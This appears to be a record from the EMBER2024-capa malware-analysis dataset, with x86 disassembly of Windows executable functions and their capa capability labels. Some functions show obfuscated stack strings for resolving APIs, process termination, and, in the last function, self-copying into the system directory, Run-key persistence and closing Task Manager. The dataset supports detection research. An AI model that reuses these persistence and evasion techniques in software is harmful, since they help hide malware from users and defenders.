joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a5120
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ca6c8
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x4fca20]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor ebx, ebx
push ebx
push 0xa0400000
push ebx
push 0x4cd850
push str.HTTP_1.1
push eax
push str.HEAD
push ecx
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
mov dword [ebp + 0xc], esi
cmp esi, ebx
je 0x4a51e8
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
push 0xea60
push 0x4a4070
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp + 0xc]
push eax
push edi
lea ecx, [edi + 0x10]
mov dword [ebp - 4], ebx
call fcn.004a4c70
test eax, eax
je 0x4a51d8
push ebx
lea ecx, [ebp + 0xc]
push ecx
lea edx, [ebp + 8]
push edx
push 0x20000013
push esi
mov dword [ebp + 0xc], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
mov eax, dword [ebp + 8]
cmp eax, 0xc8
je 0x4a51fe
cmp eax, 0xce
je 0x4a51fe
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
je 0x4a51e8
push eax
call fcn.0047d656
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
je 0x4a520e
push eax
call fcn.0047d656
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4aa3d0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x4fca20]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x3c
lea eax, [ebp - 0x40]
push 0
push eax
call fcn.0047e610
add esp, 0xc
lea ecx, [ebp - 0x44]
push ecx
mov dword [ebp - 0x44], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov edx, dword [ebp - 0x34]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x40]
shr edx, 0x14
mov dword [esi], edx
xor ecx, ebp
pop esi
call fcn.0047e4d2
mov esp, ebp
pop ebp
ret

Function at 0x4aa990
Capabilities:
Parse pe header
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
mov eax, dword [0x4fca20]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push 3
push SysReAllocStringLen
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
xor eax, eax
cmp esi, 0xffffffff
je 0x4aaa7b
push edi
push 0x3e
lea ecx, [ebp - 0x42]
push ebx
push ecx
mov word [ebp - 0x44], ax
call fcn.0047e610
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0xc
push ebx
lea edx, [ebp - 0x140]
push edx
push 0x40
lea eax, [ebp - 0x44]
push eax
push esi
mov dword [ebp - 0x140], ebx
call edi
mov ecx, 0x5a4d
cmp word [ebp - 0x44], cx
jne 0x4aaa71
mov edx, dword [ebp - 8]
push ebx
push ebx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0xf4
lea eax, [ebp - 0x138]
push ebx
push eax
mov dword [ebp - 0x13c], ebx
call fcn.0047e610
add esp, 0xc
push ebx
lea ecx, [ebp - 0x140]
push ecx
push pe_nt_image_headers32
lea edx, [ebp - 0x13c]
push edx
push esi
call edi
cmp dword [ebp - 0x13c], 0x4550
jne 0x4aaa71
mov ax, word [ebp - 0x138]
mov ecx, 0x200
cmp ax, cx
je 0x4aaa6c
mov edx, 0x8664
cmp ax, dx
jne 0x4aaa71
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0047e4d2
mov esp, ebp
pop ebp
ret
Function at 0x4aacd0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4cac48
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x4fca20]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov esi, ecx
mov dword [esi], vtable.ProcessInfo::ProcessChecker.0
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
lea edi, [esi + 4]
mov dword [esi + 0x14], eax
lea ebx, [esi + 0xc]
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
mov al, 0x65
push str.kernel32.dll
mov dword [ebp - 0x1c], 0x6e65704f
mov dword [ebp - 0x18], 0x636f7250
mov byte [ebp - 0x14], al
mov word [ebp - 0x13], 0x7373
mov byte [ebp - 0x11], 0
mov dword [ebp - 0x54], vtable.CLibLoader.0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, eax
mov dword [ebp - 0x50], ecx
xor eax, eax
mov dword [ebp - 4], eax
cmp ecx, eax
je 0x4aad7d
lea edx, [ebp - 0x1c]
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [ebp + 0xc], 0
je 0x4aad95
mov ecx, dword [ebp - 0x48]
push ecx
push 0
push 0x401
call eax
mov dword [esi + 0x2c], eax
jmp 0x4aae04
mov edx, dword [ebp - 0x48]
push edx
push 0
push 0x410
call eax
xor ecx, ecx
mov dword [esi + 0x2c], eax
cmp eax, ecx
je 0x4aae04
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
push 0x28
lea ecx, [ebp - 0x44]
push ecx
push eax
call sub.PSAPI.DLL_GetProcessMemoryInfo
mov edx, dword [ebp - 0x38]
lea eax, [esi + 0x1c]
shr edx, 0xa
push eax
mov dword [esi + 0x30], edx
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov ecx, dword [esi + 0x2c]
xor eax, eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
lea eax, [esi + 0x14]
push eax
push ebx
lea eax, [ebp - 0x4c]
push eax
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov eax, dword [ebp - 0x50]
test eax, eax
je 0x4aae12
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047e4d2
mov esp, ebp
pop ebp
ret 8
Function at 0x4aaf70
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4cac88
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x4fca20]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
push 1
push ebx
lea ecx, [ebp - 0x48]
call fcn.004aacd0
lea ecx, [ebp - 0x48]
mov dword [ebp - 4], 0
call fcn.004aaa90
test eax, eax
je 0x4ab0a4
push 0
lea ecx, [ebp - 0x48]
call fcn.004aaad0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x4ab0a4
mov eax, dword [0x4fc7ec]
mov edx, dword [eax + 0xc]
mov ecx, 0x4fc7ec
call edx
add eax, 0x10
mov dword [ebp - 0x14], eax
push ebx
lea eax, [ebp - 0x14]
push str.TaskKill__pid__d__f
push eax
mov byte [ebp - 4], 1
call fcn.00401a85
mov edi, dword [ebp - 0x14]
add esp, 0xc
test edi, edi
jne 0x4ab00f
xor eax, eax
jmp 0x4ab038
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jle 0x4ab022
xor eax, eax
jmp 0x4ab038
lea esi, [eax + eax]
mov eax, esi
call fcn.00480b20
mov eax, esp
push 3
push esi
push edi
push eax
call fcn.004381f0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 1
push ebx
lea ecx, [ebp - 0x7c]
call fcn.004aacd0
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 2
call fcn.004aaa90
test eax, eax
je 0x4ab070
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.TerminateProcess_Failed_._ErrorCode_is__d
call fcn.004123d0
add esp, 8
lea ecx, [ebp - 0x7c]
call fcn.004aae40
lea eax, [edi - 0x10]
mov byte [ebp - 4], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4ab098
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [ebp - 0x48]
call fcn.004aae40
xor eax, eax
jmp 0x4ab0b1
lea ecx, [ebp - 0x48]
call fcn.004aae40
mov eax, 1
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047e4d2
mov esp, ebp
pop ebp
ret
Function at 0x4abaf0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4cadbb
mov eax, dword fs:[0]
push eax
sub esp, 0x228
mov eax, dword [0x4fca20]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x22c], 0
test esi, esi
je 0x4abc54
cmp esi, 0xffffffff
je 0x4abc54
push str.kernel32.dll
mov dword [ebp - 0x20], 0x6f577349
mov dword [ebp - 0x1c], 0x50343677
mov dword [ebp - 0x18], 0x65636f72
mov word [ebp - 0x14], 0x7373
mov byte [ebp - 0x12], 0
mov dword [ebp - method.CLibLoader.virtual_0], vtable.CLibLoader.0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
mov dword [ebp - 0x230], edi
mov dword [ebp - 4], 0
test edi, edi
je 0x4abb95
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x4abbb3
push esi
push ebx
call fcn.004ab270
add esp, 8
test edi, edi
je 0x4abc60
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x4abc60
lea ecx, [ebp - 0x22c]
push ecx
push esi
mov dword [ebp - 0x22c], 0
call eax
cmp dword [ebp - 0x22c], 0
je 0x4abbe3
push esi
push ebx
call fcn.004ab670
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x4abc60
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x226]
push eax
mov word [ebp - 0x228], dx
call fcn.0047e610
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x228]
push ecx
push 0
push esi
call sub.PSAPI.DLL_GetModuleFileNameExW
lea edx, [ebp - 0x228]
push edx
call fcn.004aa990
add esp, 4
push esi
push ebx
test eax, eax
je 0x4abc3f
call fcn.004ab670
add esp, 8
lea ecx, [ebp - 0x234]
call fcn.004127e0
jmp 0x4abc60
call fcn.004ab270
add esp, 8
lea ecx, [ebp - 0x234]
call fcn.004127e0
jmp 0x4abc60
push 0x4cd850
mov ecx, ebx
call fcn.00402008
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047e4d2
mov esp, ebp
pop ebp
ret
Function at 0x4ac410
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4caed8
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x4fca20]
xor eax, ebp
mov dword [ebp - 0x10], eax
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov edi, ecx
cmp dword [0x4ffabc], eax
je 0x4ac56b
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
xor edx, edx
push ecx
mov dword [ebp - 0x60], 0x36007b
mov dword [ebp - 0x5c], 0x410039
mov dword [ebp - 0x58], 0x320037
mov dword [ebp - 0x54], 0x380041
mov dword [ebp - 0x50], 0x2d0041
mov dword [ebp - 0x4c], 0x340038
mov dword [ebp - 0x48], 0x440045
mov dword [ebp - 0x44], 0x34002d
mov dword [ebp - 0x40], 0x370061
mov dword [ebp - 0x3c], 0x2d0035
mov dword [ebp - 0x38], 0x430038
mov dword [ebp - 0x34], 0x370045
mov dword [ebp - 0x30], 0x32002d
mov dword [ebp - 0x2c], 0x330036
mov dword [ebp - 0x28], 0x420044
mov dword [ebp - 0x24], 0x460045
mov dword [ebp - 0x20], 0x450033
mov dword [ebp - 0x1c], 0x440035
mov dword [ebp - 0x18], 0x7d0033
mov word [ebp - 0x14], dx
call dword [sym.imp.ole32.dll_CLSIDFromString]
mov dword [ebp - 0x74], 0
mov ecx, dword [0x4ffabc]
lea edx, [ebp - 0x74]
push edx
lea eax, [ebp - 0x70]
push eax
mov dword [ebp - 4], 0
call fcn.004ac130
test eax, eax
mov eax, dword [ebp - 0x74]
je 0x4ac556
test eax, eax
je 0x4ac558
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
add edi, 8
push edi
push 0x4ce0f8
push 0
push eax
call edx
test eax, eax
js 0x4ac553
cmp dword [edi], 0
je 0x4ac553
mov eax, dword [ebp - 0x74]
mov dword [ebp - 4], 0xffffffff
test eax, eax
je 0x4ac54c
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, 1
jmp 0x4ac56b
mov eax, dword [ebp - 0x74]
test eax, eax
mov dword [ebp - 4], 0xffffffff
je 0x4ac569
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047e4d2
mov esp, ebp
pop ebp
ret
Function at 0x4ac660
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4caf28
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x4fca20]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
mov edi, ecx
call fcn.004ac170
xor eax, eax
cmp dword [0x4ffabc], eax
je 0x4ac6dd
mov esi, dword [0x4ffac0]
mov dword [0x4ffabc], eax
mov dword [0x4ffac0], eax
cmp esi, eax
je 0x4ac6dd
lea eax, [esi + 4]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x4ac6dd
mov edx, dword [esi]
mov eax, dword [edx + 4]
mov ecx, esi
call eax
lea ecx, [esi + 8]
or edx, 0xffffffff
lock xadd dword [ecx], edx
jne 0x4ac6dd
mov eax, dword [esi]
mov edx, dword [eax + 8]
mov ecx, esi
call edx
push 8
call fcn.0047e06e
add esp, 4
test eax, eax
je 0x4ac6f7
push ebx
mov ecx, eax
call fcn.004ac0b0
mov esi, eax
jmp 0x4ac6f9
xor esi, esi
push esi
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x68], esi
call fcn.004ac590
push esi
lea eax, [ebp - 0x64]
push esi
push eax
call fcn.0047ac40
add esp, 0xc
mov esi, dword [ebp - 0x64]
mov ebx, dword [0x4ffac0]
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 4], 0
mov dword [0x4ffabc], ecx
cmp esi, ebx
je 0x4ac77a
test esi, esi
je 0x4ac746
lea edx, [esi + 4]
mov eax, 1
lock xadd dword [edx], eax
mov ebx, dword [0x4ffac0]
test ebx, ebx
je 0x4ac774
lea ecx, [ebx + 4]
or edx, 0xffffffff
lock xadd dword [ecx], edx
jne 0x4ac774
mov eax, dword [ebx]
mov edx, dword [eax + 4]
mov ecx, ebx
call edx
lea eax, [ebx + 8]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x4ac774
mov edx, dword [ebx]
mov eax, dword [edx + 8]
mov ecx, ebx
call eax
mov dword [0x4ffac0], esi
mov dword [ebp - 4], 0xffffffff
test esi, esi
je 0x4ac7af
lea ecx, [esi + 4]
or edx, 0xffffffff
lock xadd dword [ecx], edx
jne 0x4ac7af
mov eax, dword [esi]
mov edx, dword [eax + 4]
mov ecx, esi
call edx
lea eax, [esi + 8]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x4ac7af
mov edx, dword [esi]
mov eax, dword [edx + 8]
mov ecx, esi
call eax
xor eax, eax
push eax
lea esi, [edi + 4]
push esi
lea ecx, [ebp - 0x60]
push ecx
mov ecx, edi
mov dword [ebp - 0x60], 0x45007b
mov dword [ebp - 0x5c], 0x350041
mov dword [ebp - 0x58], 0x320038
mov dword [ebp - 0x54], 0x340037
mov dword [ebp - 0x50], 0x2d0033
mov dword [ebp - 0x4c], 0x300039
mov dword [ebp - 0x48], 0x360037
mov dword [ebp - 0x44], 0x34002d
mov dword [ebp - 0x40], 0x370031
mov dword [ebp - 0x3c], 0x2d0038
mov dword [ebp - 0x38], 0x410039
mov dword [ebp - 0x34], 0x360041
mov dword [ebp - 0x30], 0x37002d
mov dword [ebp - 0x2c], 0x390033
mov dword [ebp - 0x28], 0x460033
mov dword [ebp - 0x24], 0x460044
mov dword [ebp - 0x20], 0x440034
mov dword [ebp - 0x1c], 0x430035
mov dword [ebp - 0x18], 0x7d0045
mov word [ebp - 0x14], ax
call fcn.004ac310
test eax, eax
je 0x4ac85a
cmp dword [esi], 0
je 0x4ac85a
mov ecx, edi
call fcn.004ac410
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047e4d2
mov esp, ebp
pop ebp
ret 4
Function at 0x4ae890
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4cb158
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x4fca20]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x14]
lea ecx, [ebp - 0x40]
push ecx
mov dword [ebp - 0x2c], 0x7551744e
mov dword [ebp - 0x28], 0x53797265
mov dword [ebp - 0x24], 0x65747379
mov dword [ebp - 0x20], 0x666e496d
mov dword [ebp - 0x1c], 0x616d726f
mov dword [ebp - 0x18], 0x6e6f6974
mov byte [ebp - 0x14], 0
mov dword [ebp - 0x40], 0x74004e
mov dword [ebp - 0x3c], 0x6c0064
mov dword [ebp - 0x38], 0x2e006c
mov dword [ebp - 0x34], 0x6c0064
mov dword [ebp - 0x30], 0x6c
mov dword [ebp - 0x48], vtable.CLibLoader.0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
mov dword [ebp - 0x44], esi
mov dword [ebp - 4], 0
test esi, esi
je 0x4ae949
lea edx, [ebp - 0x2c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x4ae94d
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x4ae964
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 8]
push ebx
push ecx
push edi
push edx
call eax
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047e4d2
mov esp, ebp
pop ebp
ret

Function at 0x4b09d0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c3fab
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x4fca20]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.0047d290
push 4
mov dword [ebp - 4], 0
call fcn.0047e06e
mov edi, eax
add esp, 4
test edi, edi
je 0x4b0a50
call fcn.0047ceb1
mov dword [edi], eax
call fcn.0047cc70
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.0047cba5
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4b0a46
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0047cbcd
jmp 0x4b0a52
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4bc100
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x24
mov edx, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov eax, dword [edx + 0x78]
mov ebx, dword [edx + 0x8c]
cmp eax, ebx
mov eax, dword [edx + 0x34]
mov ebx, dword [edx + 0x7c]
jl 0x4bc125
shr ebx, 2
dec ebx
shl ebx, 0x10
or ebx, eax
mov dword [esp], ebx
mov eax, dword [edx + 0x90]
mov ebx, dword [edx + 0x74]
cmp ebx, eax
jl 0x4bc13d
mov ebx, eax
mov dword [esp + 0x18], ebx
mov esi, dword [edx + 0x38]
mov dword [esp + 4], esi
mov ebp, dword [edx + 0x6c]
lea edi, [ebp + esi]
mov dword [esp + 0x20], edi
mov eax, edi
neg eax
and eax, 3
mov dword [esp + 0x14], eax
mov eax, dword [edx + 0x2c]
sub eax, 0x106
sub ebp, eax
jg 0x4bc16c
xor ebp, ebp
mov eax, dword [edx + 0x78]
mov dword [esp + 0x1c], eax
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [edi]
mov dword [esp + 0x10], ebx
movzx ebx, word [eax + edi - 1]
mov dword [esp + 0xc], ebx
mov edi, dword [edx + 0x40]
mov edx, dword [esp]
jmp 0x4bc1ae
and ecx, edx
movzx ecx, word [edi + ecx*2]
cmp ecx, ebp
jbe 0x4bc282
sub edx, 0x10000
js 0x4bc282
movzx eax, word [ecx + esi - 1]
cmp eax, ebx
jne 0x4bc194
mov eax, dword [esp + 4]
movzx eax, word [ecx + eax]
cmp eax, dword [esp + 0x10]
jne 0x4bc194
mov dword [esp], edx
mov esi, dword [esp + 4]
mov edi, dword [esp + 0x20]
add esi, ecx
mov eax, dword [esp + 0x14]
mov edx, 0xfffffef8
lea edi, [eax + edi + 0x108]
lea esi, [eax + esi + 0x108]
mov eax, dword [edx + esi]
xor eax, dword [edx + edi]
jne 0x4bc205
mov eax, dword [edx + esi + 4]
xor eax, dword [edx + edi + 4]
jne 0x4bc202
add edx, 8
jne 0x4bc1e9
jmp 0x4bc273
add edx, 4
test eax, 0xffff
jne 0x4bc212
add edx, 2
shr eax, 0x10
sub al, 1
adc edx, 0
lea eax, [edx + edi]
mov edi, dword [esp + 0x20]
sub eax, edi
cmp eax, 0x102
jge 0x4bc273
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
cmp eax, ebx
jg 0x4bc246
mov esi, dword [esp + 8]
mov edi, dword [edx + 0x40]
mov ebx, dword [esp + 0xc]
mov edx, dword [esp]
jmp 0x4bc194
mov ebx, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
mov dword [edx + 0x70], ecx
cmp eax, ebx
jge 0x4bc282
mov esi, dword [esp + 4]
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [eax + edi - 1]
mov edi, dword [edx + 0x40]
mov dword [esp + 0xc], ebx
mov edx, dword [esp]
jmp 0x4bc194
mov edx, dword [esp + 0x38]
mov dword [esp + 0x1c], 0x102
mov dword [edx + 0x70], ecx
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
mov eax, dword [edx + 0x74]
cmp ebx, eax
jg 0x4bc293
mov eax, ebx
add esp, 0x24
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401000
Capabilities:
Copy file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.00401210
pop ecx
call fcn.0040121a
push 0xa
xor edi, edi
cdq
pop ecx
xor ebx, ebx
idiv ecx
mov esi, edx
add esi, ecx
cmp esi, edi
jle 0x401047
call fcn.0040121a
push 0x1a
cdq
pop ecx
idiv ecx
add dl, 0x61
mov byte [ebp + ebx - 1], dl
inc ebx
cmp ebx, esi
jl 0x401030
mov ax, word [0x406080]
push edi
mov word [ebp - 4], ax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov esi, 0x104
lea ecx, [ebp - 0x210]
push esi
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.00401130
lea eax, [ebp - 1]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.00401130
lea eax, [ebp - 0x10c]
push str..exe
push eax
call fcn.00401130
add esp, 0x18
lea eax, [ebp - 0x10c]
push edi
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 8]
push eax
push 2
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x10c]
push esi
push eax
push 1
lea eax, [ebp - 1]
push edi
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.Windows_Task_Manager
push edi
call dword [sym.imp.USER32.dll_FindWindowA]
push edi
push edi
push 0x10
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
jmp 0x4010fb